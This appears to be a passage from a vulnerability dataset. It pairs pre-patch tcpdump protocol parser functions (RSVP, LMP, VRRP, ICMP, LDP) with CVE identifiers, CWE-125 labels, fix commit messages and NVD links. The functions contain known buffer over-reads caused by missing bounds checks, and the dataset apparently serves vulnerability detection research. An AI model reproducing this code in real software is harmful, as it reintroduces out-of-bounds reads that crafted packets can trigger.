bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);
ND_PRINT((ndo, "%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps",
ident,
(int)obj_ptr.rsvp_obj_frr->setup_prio,
(int)obj_ptr.rsvp_obj_frr->hold_prio,
(int)obj_ptr.rsvp_obj_frr->hop_limit,
bw.f * 8 / 1000000));
ND_PRINT((ndo, "%s Include Colors: 0x%08x, Exclude Colors: 0x%08x",
ident,
EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->include_any),
EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->exclude_any)));
obj_tlen-=16;
obj_tptr+=16;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_DETOUR:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_TUNNEL_IPV4:
while(obj_tlen >= 8) {
ND_PRINT((ndo, "%s PLR-ID: %s, Avoid-Node-ID: %s",
ident,
ipaddr_string(ndo, obj_tptr),
ipaddr_string(ndo, obj_tptr + 4)));
obj_tlen-=8;
obj_tptr+=8;
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_CLASSTYPE:
case RSVP_OBJ_CLASSTYPE_OLD: /* fall through */
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
ND_PRINT((ndo, "%s CT: %u",
ident,
EXTRACT_32BITS(obj_tptr) & 0x7));
obj_tlen-=4;
obj_tptr+=4;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_ERROR_SPEC:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_3: /* fall through - FIXME add TLV parser */
case RSVP_CTYPE_IPV4:
if (obj_tlen < 8)
return-1;
error_code=*(obj_tptr+5);
error_value=EXTRACT_16BITS(obj_tptr+6);
ND_PRINT((ndo, "%s Error Node Address: %s, Flags: [0x%02x]%s Error Code: %s (%u)",
ident,
ipaddr_string(ndo, obj_tptr),
*(obj_tptr+4),
ident,
tok2str(rsvp_obj_error_code_values,"unknown",error_code),
error_code));
switch (error_code) {
case RSVP_OBJ_ERROR_SPEC_CODE_ROUTING:
ND_PRINT((ndo, ", Error Value: %s (%u)",
tok2str(rsvp_obj_error_code_routing_values,"unknown",error_value),
error_value));
break;
case RSVP_OBJ_ERROR_SPEC_CODE_DIFFSERV_TE: /* fall through */
case RSVP_OBJ_ERROR_SPEC_CODE_DIFFSERV_TE_OLD:
ND_PRINT((ndo, ", Error Value: %s (%u)",
tok2str(rsvp_obj_error_code_diffserv_te_values,"unknown",error_value),
error_value));
break;
default:
ND_PRINT((ndo, ", Unknown Error Value (%u)", error_value));
break;
}
obj_tlen-=8;
obj_tptr+=8;
break;
case RSVP_CTYPE_4: /* fall through - FIXME add TLV parser */
case RSVP_CTYPE_IPV6:
if (obj_tlen < 20)
return-1;
error_code=*(obj_tptr+17);
error_value=EXTRACT_16BITS(obj_tptr+18);
ND_PRINT((ndo, "%s Error Node Address: %s, Flags: [0x%02x]%s Error Code: %s (%u)",
ident,
ip6addr_string(ndo, obj_tptr),
*(obj_tptr+16),
ident,
tok2str(rsvp_obj_error_code_values,"unknown",error_code),
error_code));
switch (error_code) {
case RSVP_OBJ_ERROR_SPEC_CODE_ROUTING:
ND_PRINT((ndo, ", Error Value: %s (%u)",
tok2str(rsvp_obj_error_code_routing_values,"unknown",error_value),
error_value));
break;
default:
break;
}
obj_tlen-=20;
obj_tptr+=20;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_PROPERTIES:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
padbytes = EXTRACT_16BITS(obj_tptr+2);
ND_PRINT((ndo, "%s TLV count: %u, padding bytes: %u",
ident,
EXTRACT_16BITS(obj_tptr),
padbytes));
obj_tlen-=4;
obj_tptr+=4;
/* loop through as long there is anything longer than the TLV header (2) */
while(obj_tlen >= 2 + padbytes) {
ND_PRINT((ndo, "%s %s TLV (0x%02x), length: %u", /* length includes header */
ident,
tok2str(rsvp_obj_prop_tlv_values,"unknown",*obj_tptr),
*obj_tptr,
*(obj_tptr + 1)));
if (obj_tlen < *(obj_tptr+1))
return-1;
if (*(obj_tptr+1) < 2)
return -1;
print_unknown_data(ndo, obj_tptr + 2, "\n\t\t", *(obj_tptr + 1) - 2);
obj_tlen-=*(obj_tptr+1);
obj_tptr+=*(obj_tptr+1);
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_MESSAGE_ID: /* fall through */
case RSVP_OBJ_MESSAGE_ID_ACK: /* fall through */
case RSVP_OBJ_MESSAGE_ID_LIST:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
case RSVP_CTYPE_2:
if (obj_tlen < 8)
return-1;
ND_PRINT((ndo, "%s Flags [0x%02x], epoch: %u",
ident,
*obj_tptr,
EXTRACT_24BITS(obj_tptr + 1)));
obj_tlen-=4;
obj_tptr+=4;
/* loop through as long there are no messages left */
while(obj_tlen >= 4) {
ND_PRINT((ndo, "%s Message-ID 0x%08x (%u)",
ident,
EXTRACT_32BITS(obj_tptr),
EXTRACT_32BITS(obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
}
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_INTEGRITY:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < sizeof(struct rsvp_obj_integrity_t))
return-1;
obj_ptr.rsvp_obj_integrity = (const struct rsvp_obj_integrity_t *)obj_tptr;
ND_PRINT((ndo, "%s Key-ID 0x%04x%08x, Sequence 0x%08x%08x, Flags [%s]",
ident,
EXTRACT_16BITS(obj_ptr.rsvp_obj_integrity->key_id),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->key_id+2),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->sequence),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->sequence+4),
bittok2str(rsvp_obj_integrity_flag_values,
"none",
obj_ptr.rsvp_obj_integrity->flags)));
ND_PRINT((ndo, "%s MD5-sum 0x%08x%08x%08x%08x ",
ident,
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->digest),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->digest+4),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->digest+8),
EXTRACT_32BITS(obj_ptr.rsvp_obj_integrity->digest + 12)));
sigcheck = signature_verify(ndo, pptr, plen,
obj_ptr.rsvp_obj_integrity->digest,
rsvp_clear_checksum,
rsvp_com_header);
ND_PRINT((ndo, " (%s)", tok2str(signature_check_values, "Unknown", sigcheck)));
obj_tlen+=sizeof(struct rsvp_obj_integrity_t);
obj_tptr+=sizeof(struct rsvp_obj_integrity_t);
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_ADMIN_STATUS:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Flags [%s]", ident,
bittok2str(rsvp_obj_admin_status_flag_values, "none",
EXTRACT_32BITS(obj_tptr))));
obj_tlen-=4;
obj_tptr+=4;
break;
default:
hexdump=TRUE;
}
break;
case RSVP_OBJ_LABEL_SET:
switch(rsvp_obj_ctype) {
case RSVP_CTYPE_1:
if (obj_tlen < 4)
return-1;
action = (EXTRACT_16BITS(obj_tptr)>>8);
ND_PRINT((ndo, "%s Action: %s (%u), Label type: %u", ident,
tok2str(rsvp_obj_label_set_action_values, "Unknown", action),
action, ((EXTRACT_32BITS(obj_tptr) & 0x7F))));
switch (action) {
case LABEL_SET_INCLUSIVE_RANGE:
case LABEL_SET_EXCLUSIVE_RANGE: /* fall through */
/* only a couple of subchannels are expected */
if (obj_tlen < 12)
return -1;
ND_PRINT((ndo, "%s Start range: %u, End range: %u", ident,
EXTRACT_32BITS(obj_tptr+4),
EXTRACT_32BITS(obj_tptr + 8)));
obj_tlen-=12;
obj_tptr+=12;
break;
default:
obj_tlen-=4;
obj_tptr+=4;
subchannel = 1;
while(obj_tlen >= 4 ) {
ND_PRINT((ndo, "%s Subchannel #%u: %u", ident, subchannel,
EXTRACT_32BITS(obj_tptr)));
obj_tptr+=4;
obj_tlen-=4;
subchannel++;
}
break;
}
break;
default:
hexdump=TRUE;
}
case RSVP_OBJ_S2L:
switch (rsvp_obj_ctype) {
case RSVP_CTYPE_IPV4:
if (obj_tlen < 4)
return-1;
ND_PRINT((ndo, "%s Sub-LSP destination address: %s",
ident, ipaddr_string(ndo, obj_tptr)));
obj_tlen-=4;
obj_tptr+=4;
break;
case RSVP_CTYPE_IPV6:
if (obj_tlen < 16)
return-1;
ND_PRINT((ndo, "%s Sub-LSP destination address: %s",
ident, ip6addr_string(ndo, obj_tptr)));
obj_tlen-=16;
obj_tptr+=16;
break;
default:
hexdump=TRUE;
}
/*
* FIXME those are the defined objects that lack a decoder
* you are welcome to contribute code ;-)
*/
case RSVP_OBJ_SCOPE:
case RSVP_OBJ_POLICY_DATA:
case RSVP_OBJ_ACCEPT_LABEL_SET:
case RSVP_OBJ_PROTECTION:
default:
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, obj_tptr, "\n\t ", obj_tlen); /* FIXME indentation */
break;
}
/* do we also want to see a hex dump ? */
if (ndo->ndo_vflag > 1 || hexdump == TRUE)
print_unknown_data(ndo, tptr + sizeof(struct rsvp_object_header), "\n\t ", /* FIXME indentation */
rsvp_obj_len - sizeof(struct rsvp_object_header));
tptr+=rsvp_obj_len;
tlen-=rsvp_obj_len;
}
return 0;
invalid:
ND_PRINT((ndo, "%s", istr));
return -1;
trunc:
ND_PRINT((ndo, "\n\t\t"));
ND_PRINT((ndo, "%s", tstr));
return -1;
}
| 337,800,776,597,343,780,000,000,000,000,000,000,000 | print-rsvp.c | 309,134,377,433,343,500,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14465 | The RSVP parser in tcpdump before 4.9.3 has a buffer over-read in print-rsvp.c:rsvp_obj_print(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14465 |
4,194 | tcpdump | d97e94223720684c6aa740ff219e0d19426c2220 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/d97e94223720684c6aa740ff219e0d19426c2220 | (for 4.9.3) CVE-2018-14464/LMP: Add a missing bounds check
In lmp_print_data_link_subobjs().
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s). | 1 | lmp_print_data_link_subobjs(netdissect_options *ndo, const u_char *obj_tptr,
int total_subobj_len, int offset)
{
int hexdump = FALSE;
int subobj_type, subobj_len;
union { /* int to float conversion buffer */
float f;
uint32_t i;
} bw;
while (total_subobj_len > 0 && hexdump == FALSE ) {
subobj_type = EXTRACT_8BITS(obj_tptr + offset);
subobj_len = EXTRACT_8BITS(obj_tptr + offset + 1);
ND_PRINT((ndo, "\n\t Subobject, Type: %s (%u), Length: %u",
tok2str(lmp_data_link_subobj,
"Unknown",
subobj_type),
subobj_type,
subobj_len));
if (subobj_len < 4) {
ND_PRINT((ndo, " (too short)"));
break;
}
if ((subobj_len % 4) != 0) {
ND_PRINT((ndo, " (not a multiple of 4)"));
break;
}
if (total_subobj_len < subobj_len) {
ND_PRINT((ndo, " (goes past the end of the object)"));
break;
}
switch(subobj_type) {
case INT_SWITCHING_TYPE_SUBOBJ:
ND_PRINT((ndo, "\n\t Switching Type: %s (%u)",
tok2str(gmpls_switch_cap_values,
"Unknown",
EXTRACT_8BITS(obj_tptr + offset + 2)),
EXTRACT_8BITS(obj_tptr + offset + 2)));
ND_PRINT((ndo, "\n\t Encoding Type: %s (%u)",
tok2str(gmpls_encoding_values,
"Unknown",
EXTRACT_8BITS(obj_tptr + offset + 3)),
EXTRACT_8BITS(obj_tptr + offset + 3)));
bw.i = EXTRACT_32BITS(obj_tptr+offset+4);
ND_PRINT((ndo, "\n\t Min Reservable Bandwidth: %.3f Mbps",
bw.f*8/1000000));
bw.i = EXTRACT_32BITS(obj_tptr+offset+8);
ND_PRINT((ndo, "\n\t Max Reservable Bandwidth: %.3f Mbps",
bw.f*8/1000000));
break;
case WAVELENGTH_SUBOBJ:
ND_PRINT((ndo, "\n\t Wavelength: %u",
EXTRACT_32BITS(obj_tptr+offset+4)));
break;
default:
/* Any Unknown Subobject ==> Exit loop */
hexdump=TRUE;
break;
}
total_subobj_len-=subobj_len;
offset+=subobj_len;
}
return (hexdump);
}
| 251,322,797,576,181,440,000,000,000,000,000,000,000 | print-lmp.c | 246,828,076,691,630,670,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14464 | The LMP parser in tcpdump before 4.9.3 has a buffer over-read in print-lmp.c:lmp_print_data_link_subobjs(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14464 |
4,195 | tcpdump | 3de07c772166b7e8e8bb4b9d1d078f1d901b570b | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/3de07c772166b7e8e8bb4b9d1d078f1d901b570b | (for 4.9.3) CVE-2018-14463/VRRP: Add a missing bounds check
In vrrp_print().
This fixes a buffer over-read discovered by Bhargava Shastry.
Add a test using the capture file supplied by the reporter(s). | 1 | vrrp_print(netdissect_options *ndo,
register const u_char *bp, register u_int len,
register const u_char *bp2, int ttl)
{
int version, type, auth_type = VRRP_AUTH_NONE; /* keep compiler happy */
const char *type_s;
ND_TCHECK(bp[0]);
version = (bp[0] & 0xf0) >> 4;
type = bp[0] & 0x0f;
type_s = tok2str(type2str, "unknown type (%u)", type);
ND_PRINT((ndo, "VRRPv%u, %s", version, type_s));
if (ttl != 255)
ND_PRINT((ndo, ", (ttl %u)", ttl));
if (version < 2 || version > 3 || type != VRRP_TYPE_ADVERTISEMENT)
return;
ND_TCHECK(bp[2]);
ND_PRINT((ndo, ", vrid %u, prio %u", bp[1], bp[2]));
ND_TCHECK(bp[5]);
if (version == 2) {
auth_type = bp[4];
ND_PRINT((ndo, ", authtype %s", tok2str(auth2str, NULL, auth_type)));
ND_PRINT((ndo, ", intvl %us, length %u", bp[5], len));
} else { /* version == 3 */
uint16_t intvl = (bp[4] & 0x0f) << 8 | bp[5];
ND_PRINT((ndo, ", intvl %ucs, length %u", intvl, len));
}
if (ndo->ndo_vflag) {
int naddrs = bp[3];
int i;
char c;
if (version == 2 && ND_TTEST2(bp[0], len)) {
struct cksum_vec vec[1];
vec[0].ptr = bp;
vec[0].len = len;
if (in_cksum(vec, 1))
ND_PRINT((ndo, ", (bad vrrp cksum %x)",
EXTRACT_16BITS(&bp[6])));
}
if (version == 3 && ND_TTEST2(bp[0], len)) {
uint16_t cksum = nextproto4_cksum(ndo, (const struct ip *)bp2, bp,
len, len, IPPROTO_VRRP);
if (cksum)
ND_PRINT((ndo, ", (bad vrrp cksum %x)",
EXTRACT_16BITS(&bp[6])));
}
ND_PRINT((ndo, ", addrs"));
if (naddrs > 1)
ND_PRINT((ndo, "(%d)", naddrs));
ND_PRINT((ndo, ":"));
c = ' ';
bp += 8;
for (i = 0; i < naddrs; i++) {
ND_TCHECK(bp[3]);
ND_PRINT((ndo, "%c%s", c, ipaddr_string(ndo, bp)));
c = ',';
bp += 4;
}
if (version == 2 && auth_type == VRRP_AUTH_SIMPLE) { /* simple text password */
ND_TCHECK(bp[7]);
ND_PRINT((ndo, " auth \""));
if (fn_printn(ndo, bp, 8, ndo->ndo_snapend)) {
ND_PRINT((ndo, "\""));
goto trunc;
}
ND_PRINT((ndo, "\""));
}
}
return;
trunc:
ND_PRINT((ndo, "[|vrrp]"));
}
| 177,267,562,973,387,440,000,000,000,000,000,000,000 | print-vrrp.c | 276,178,921,820,745,950,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14463 | The VRRP parser in tcpdump before 4.9.3 has a buffer over-read in print-vrrp.c:vrrp_print() for VRRP version 2, a different vulnerability than CVE-2019-15167. | https://nvd.nist.gov/vuln/detail/CVE-2018-14463 |
4,196 | tcpdump | 1a1bce0526a77b62e41531b00f8bb5e21fd4f3a3 | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/1a1bce0526a77b62e41531b00f8bb5e21fd4f3a3 | (for 4.9.3) CVE-2018-14462/ICMP: Add a missing bounds check
In icmp_print().
This fixes a buffer over-read discovered by Bhargava Shastry.
Add two tests using the capture files supplied by the reporter(s). | 1 | icmp_print(netdissect_options *ndo, const u_char *bp, u_int plen, const u_char *bp2,
int fragmented)
{
char *cp;
const struct icmp *dp;
const struct icmp_ext_t *ext_dp;
const struct ip *ip;
const char *str, *fmt;
const struct ip *oip;
const struct udphdr *ouh;
const uint8_t *obj_tptr;
uint32_t raw_label;
const u_char *snapend_save;
const struct icmp_mpls_ext_object_header_t *icmp_mpls_ext_object_header;
u_int hlen, dport, mtu, obj_tlen, obj_class_num, obj_ctype;
char buf[MAXHOSTNAMELEN + 100];
struct cksum_vec vec[1];
dp = (const struct icmp *)bp;
ext_dp = (const struct icmp_ext_t *)bp;
ip = (const struct ip *)bp2;
str = buf;
ND_TCHECK(dp->icmp_code);
switch (dp->icmp_type) {
case ICMP_ECHO:
case ICMP_ECHOREPLY:
ND_TCHECK(dp->icmp_seq);
(void)snprintf(buf, sizeof(buf), "echo %s, id %u, seq %u",
dp->icmp_type == ICMP_ECHO ?
"request" : "reply",
EXTRACT_16BITS(&dp->icmp_id),
EXTRACT_16BITS(&dp->icmp_seq));
break;
case ICMP_UNREACH:
ND_TCHECK(dp->icmp_ip.ip_dst);
switch (dp->icmp_code) {
case ICMP_UNREACH_PROTOCOL:
ND_TCHECK(dp->icmp_ip.ip_p);
(void)snprintf(buf, sizeof(buf),
"%s protocol %d unreachable",
ipaddr_string(ndo, &dp->icmp_ip.ip_dst),
dp->icmp_ip.ip_p);
break;
case ICMP_UNREACH_PORT:
ND_TCHECK(dp->icmp_ip.ip_p);
oip = &dp->icmp_ip;
hlen = IP_HL(oip) * 4;
ouh = (const struct udphdr *)(((const u_char *)oip) + hlen);
ND_TCHECK(ouh->uh_dport);
dport = EXTRACT_16BITS(&ouh->uh_dport);
switch (oip->ip_p) {
case IPPROTO_TCP:
(void)snprintf(buf, sizeof(buf),
"%s tcp port %s unreachable",
ipaddr_string(ndo, &oip->ip_dst),
tcpport_string(ndo, dport));
break;
case IPPROTO_UDP:
(void)snprintf(buf, sizeof(buf),
"%s udp port %s unreachable",
ipaddr_string(ndo, &oip->ip_dst),
udpport_string(ndo, dport));
break;
default:
(void)snprintf(buf, sizeof(buf),
"%s protocol %u port %u unreachable",
ipaddr_string(ndo, &oip->ip_dst),
oip->ip_p, dport);
break;
}
break;
case ICMP_UNREACH_NEEDFRAG:
{
register const struct mtu_discovery *mp;
mp = (const struct mtu_discovery *)(const u_char *)&dp->icmp_void;
mtu = EXTRACT_16BITS(&mp->nexthopmtu);
if (mtu) {
(void)snprintf(buf, sizeof(buf),
"%s unreachable - need to frag (mtu %d)",
ipaddr_string(ndo, &dp->icmp_ip.ip_dst), mtu);
} else {
(void)snprintf(buf, sizeof(buf),
"%s unreachable - need to frag",
ipaddr_string(ndo, &dp->icmp_ip.ip_dst));
}
}
break;
default:
fmt = tok2str(unreach2str, "#%d %%s unreachable",
dp->icmp_code);
(void)snprintf(buf, sizeof(buf), fmt,
ipaddr_string(ndo, &dp->icmp_ip.ip_dst));
break;
}
break;
case ICMP_REDIRECT:
ND_TCHECK(dp->icmp_ip.ip_dst);
fmt = tok2str(type2str, "redirect-#%d %%s to net %%s",
dp->icmp_code);
(void)snprintf(buf, sizeof(buf), fmt,
ipaddr_string(ndo, &dp->icmp_ip.ip_dst),
ipaddr_string(ndo, &dp->icmp_gwaddr));
break;
case ICMP_ROUTERADVERT:
{
register const struct ih_rdiscovery *ihp;
register const struct id_rdiscovery *idp;
u_int lifetime, num, size;
(void)snprintf(buf, sizeof(buf), "router advertisement");
cp = buf + strlen(buf);
ihp = (const struct ih_rdiscovery *)&dp->icmp_void;
ND_TCHECK(*ihp);
(void)strncpy(cp, " lifetime ", sizeof(buf) - (cp - buf));
cp = buf + strlen(buf);
lifetime = EXTRACT_16BITS(&ihp->ird_lifetime);
if (lifetime < 60) {
(void)snprintf(cp, sizeof(buf) - (cp - buf), "%u",
lifetime);
} else if (lifetime < 60 * 60) {
(void)snprintf(cp, sizeof(buf) - (cp - buf), "%u:%02u",
lifetime / 60, lifetime % 60);
} else {
(void)snprintf(cp, sizeof(buf) - (cp - buf),
"%u:%02u:%02u",
lifetime / 3600,
(lifetime % 3600) / 60,
lifetime % 60);
}
cp = buf + strlen(buf);
num = ihp->ird_addrnum;
(void)snprintf(cp, sizeof(buf) - (cp - buf), " %d:", num);
cp = buf + strlen(buf);
size = ihp->ird_addrsiz;
if (size != 2) {
(void)snprintf(cp, sizeof(buf) - (cp - buf),
" [size %d]", size);
break;
}
idp = (const struct id_rdiscovery *)&dp->icmp_data;
while (num-- > 0) {
ND_TCHECK(*idp);
(void)snprintf(cp, sizeof(buf) - (cp - buf), " {%s %u}",
ipaddr_string(ndo, &idp->ird_addr),
EXTRACT_32BITS(&idp->ird_pref));
cp = buf + strlen(buf);
++idp;
}
}
break;
case ICMP_TIMXCEED:
ND_TCHECK(dp->icmp_ip.ip_dst);
switch (dp->icmp_code) {
case ICMP_TIMXCEED_INTRANS:
str = "time exceeded in-transit";
break;
case ICMP_TIMXCEED_REASS:
str = "ip reassembly time exceeded";
break;
default:
(void)snprintf(buf, sizeof(buf), "time exceeded-#%u",
dp->icmp_code);
break;
}
break;
case ICMP_PARAMPROB:
if (dp->icmp_code)
(void)snprintf(buf, sizeof(buf),
"parameter problem - code %u", dp->icmp_code);
else {
ND_TCHECK(dp->icmp_pptr);
(void)snprintf(buf, sizeof(buf),
"parameter problem - octet %u", dp->icmp_pptr);
}
break;
case ICMP_MASKREPLY:
ND_TCHECK(dp->icmp_mask);
(void)snprintf(buf, sizeof(buf), "address mask is 0x%08x",
EXTRACT_32BITS(&dp->icmp_mask));
break;
case ICMP_TSTAMP:
ND_TCHECK(dp->icmp_seq);
(void)snprintf(buf, sizeof(buf),
"time stamp query id %u seq %u",
EXTRACT_16BITS(&dp->icmp_id),
EXTRACT_16BITS(&dp->icmp_seq));
break;
case ICMP_TSTAMPREPLY:
ND_TCHECK(dp->icmp_ttime);
(void)snprintf(buf, sizeof(buf),
"time stamp reply id %u seq %u: org %s",
EXTRACT_16BITS(&dp->icmp_id),
EXTRACT_16BITS(&dp->icmp_seq),
icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_otime)));
(void)snprintf(buf+strlen(buf),sizeof(buf)-strlen(buf),", recv %s",
icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_rtime)));
(void)snprintf(buf+strlen(buf),sizeof(buf)-strlen(buf),", xmit %s",
icmp_tstamp_print(EXTRACT_32BITS(&dp->icmp_ttime)));
break;
default:
str = tok2str(icmp2str, "type-#%d", dp->icmp_type);
break;
}
ND_PRINT((ndo, "ICMP %s, length %u", str, plen));
if (ndo->ndo_vflag && !fragmented) { /* don't attempt checksumming if this is a frag */
if (ND_TTEST2(*bp, plen)) {
uint16_t sum;
vec[0].ptr = (const uint8_t *)(const void *)dp;
vec[0].len = plen;
sum = in_cksum(vec, 1);
if (sum != 0) {
uint16_t icmp_sum = EXTRACT_16BITS(&dp->icmp_cksum);
ND_PRINT((ndo, " (wrong icmp cksum %x (->%x)!)",
icmp_sum,
in_cksum_shouldbe(icmp_sum, sum)));
}
}
}
/*
* print the remnants of the IP packet.
* save the snaplength as this may get overidden in the IP printer.
*/
if (ndo->ndo_vflag >= 1 && ICMP_ERRTYPE(dp->icmp_type)) {
bp += 8;
ND_PRINT((ndo, "\n\t"));
ip = (const struct ip *)bp;
ndo->ndo_snaplen = ndo->ndo_snapend - bp;
snapend_save = ndo->ndo_snapend;
ND_TCHECK_16BITS(&ip->ip_len);
ip_print(ndo, bp, EXTRACT_16BITS(&ip->ip_len));
ndo->ndo_snapend = snapend_save;
}
/*
* Attempt to decode the MPLS extensions only for some ICMP types.
*/
if (ndo->ndo_vflag >= 1 && plen > ICMP_EXTD_MINLEN && ICMP_MPLS_EXT_TYPE(dp->icmp_type)) {
ND_TCHECK(*ext_dp);
/*
* Check first if the mpls extension header shows a non-zero length.
* If the length field is not set then silently verify the checksum
* to check if an extension header is present. This is expedient,
* however not all implementations set the length field proper.
*/
if (!ext_dp->icmp_length &&
ND_TTEST2(ext_dp->icmp_ext_version_res, plen - ICMP_EXTD_MINLEN)) {
vec[0].ptr = (const uint8_t *)(const void *)&ext_dp->icmp_ext_version_res;
vec[0].len = plen - ICMP_EXTD_MINLEN;
if (in_cksum(vec, 1)) {
return;
}
}
ND_PRINT((ndo, "\n\tMPLS extension v%u",
ICMP_MPLS_EXT_EXTRACT_VERSION(*(ext_dp->icmp_ext_version_res))));
/*
* Sanity checking of the header.
*/
if (ICMP_MPLS_EXT_EXTRACT_VERSION(*(ext_dp->icmp_ext_version_res)) !=
ICMP_MPLS_EXT_VERSION) {
ND_PRINT((ndo, " packet not supported"));
return;
}
hlen = plen - ICMP_EXTD_MINLEN;
if (ND_TTEST2(ext_dp->icmp_ext_version_res, hlen)) {
vec[0].ptr = (const uint8_t *)(const void *)&ext_dp->icmp_ext_version_res;
vec[0].len = hlen;
ND_PRINT((ndo, ", checksum 0x%04x (%scorrect), length %u",
EXTRACT_16BITS(ext_dp->icmp_ext_checksum),
in_cksum(vec, 1) ? "in" : "",
hlen));
}
hlen -= 4; /* subtract common header size */
obj_tptr = (const uint8_t *)ext_dp->icmp_ext_data;
while (hlen > sizeof(struct icmp_mpls_ext_object_header_t)) {
icmp_mpls_ext_object_header = (const struct icmp_mpls_ext_object_header_t *)obj_tptr;
ND_TCHECK(*icmp_mpls_ext_object_header);
obj_tlen = EXTRACT_16BITS(icmp_mpls_ext_object_header->length);
obj_class_num = icmp_mpls_ext_object_header->class_num;
obj_ctype = icmp_mpls_ext_object_header->ctype;
obj_tptr += sizeof(struct icmp_mpls_ext_object_header_t);
ND_PRINT((ndo, "\n\t %s Object (%u), Class-Type: %u, length %u",
tok2str(icmp_mpls_ext_obj_values,"unknown",obj_class_num),
obj_class_num,
obj_ctype,
obj_tlen));
hlen-=sizeof(struct icmp_mpls_ext_object_header_t); /* length field includes tlv header */
/* infinite loop protection */
if ((obj_class_num == 0) ||
(obj_tlen < sizeof(struct icmp_mpls_ext_object_header_t))) {
return;
}
obj_tlen-=sizeof(struct icmp_mpls_ext_object_header_t);
switch (obj_class_num) {
case 1:
switch(obj_ctype) {
case 1:
ND_TCHECK2(*obj_tptr, 4);
raw_label = EXTRACT_32BITS(obj_tptr);
ND_PRINT((ndo, "\n\t label %u, exp %u", MPLS_LABEL(raw_label), MPLS_EXP(raw_label)));
if (MPLS_STACK(raw_label))
ND_PRINT((ndo, ", [S]"));
ND_PRINT((ndo, ", ttl %u", MPLS_TTL(raw_label)));
break;
default:
print_unknown_data(ndo, obj_tptr, "\n\t ", obj_tlen);
}
break;
/*
* FIXME those are the defined objects that lack a decoder
* you are welcome to contribute code ;-)
*/
case 2:
default:
print_unknown_data(ndo, obj_tptr, "\n\t ", obj_tlen);
break;
}
if (hlen < obj_tlen)
break;
hlen -= obj_tlen;
obj_tptr += obj_tlen;
}
}
return;
trunc:
ND_PRINT((ndo, "[|icmp]"));
}
| 292,921,596,680,894,330,000,000,000,000,000,000,000 | print-icmp.c | 139,842,233,616,481,950,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2018-14462 | The ICMP parser in tcpdump before 4.9.3 has a buffer over-read in print-icmp.c:icmp_print(). | https://nvd.nist.gov/vuln/detail/CVE-2018-14462 |
4,198 | tcpdump | aa5c6b710dfd8020d2c908d6b3bd41f1da719b3b | https://github.com/the-tcpdump-group/tcpdump | https://github.com/the-tcpdump-group/tcpdump/commit/aa5c6b710dfd8020d2c908d6b3bd41f1da719b3b | (for 4.9.3) CVE-2018-14461/LDP: Fix a bounds check
In ldp_tlv_print(), the FT Session TLV length must be 12, not 8 (RFC3479)
This fixes a buffer over-read discovered by Konrad Rieck and
Bhargava Shastry.
Add a test using the capture file supplied by the reporter(s).
Moreover:
Add and use tstr[].
Add a comment. | 1 | ldp_tlv_print(netdissect_options *ndo,
register const u_char *tptr,
u_short msg_tlen)
{
struct ldp_tlv_header {
uint8_t type[2];
uint8_t length[2];
};
const struct ldp_tlv_header *ldp_tlv_header;
u_short tlv_type,tlv_len,tlv_tlen,af,ft_flags;
u_char fec_type;
u_int ui,vc_info_len, vc_info_tlv_type, vc_info_tlv_len,idx;
char buf[100];
int i;
ldp_tlv_header = (const struct ldp_tlv_header *)tptr;
ND_TCHECK(*ldp_tlv_header);
tlv_len=EXTRACT_16BITS(ldp_tlv_header->length);
if (tlv_len + 4 > msg_tlen) {
ND_PRINT((ndo, "\n\t\t TLV contents go past end of message"));
return 0;
}
tlv_tlen=tlv_len;
tlv_type=LDP_MASK_TLV_TYPE(EXTRACT_16BITS(ldp_tlv_header->type));
/* FIXME vendor private / experimental check */
ND_PRINT((ndo, "\n\t %s TLV (0x%04x), length: %u, Flags: [%s and %s forward if unknown]",
tok2str(ldp_tlv_values,
"Unknown",
tlv_type),
tlv_type,
tlv_len,
LDP_MASK_U_BIT(EXTRACT_16BITS(&ldp_tlv_header->type)) ? "continue processing" : "ignore",
LDP_MASK_F_BIT(EXTRACT_16BITS(&ldp_tlv_header->type)) ? "do" : "don't"));
tptr+=sizeof(struct ldp_tlv_header);
switch(tlv_type) {
case LDP_TLV_COMMON_HELLO:
TLV_TCHECK(4);
ND_PRINT((ndo, "\n\t Hold Time: %us, Flags: [%s Hello%s]",
EXTRACT_16BITS(tptr),
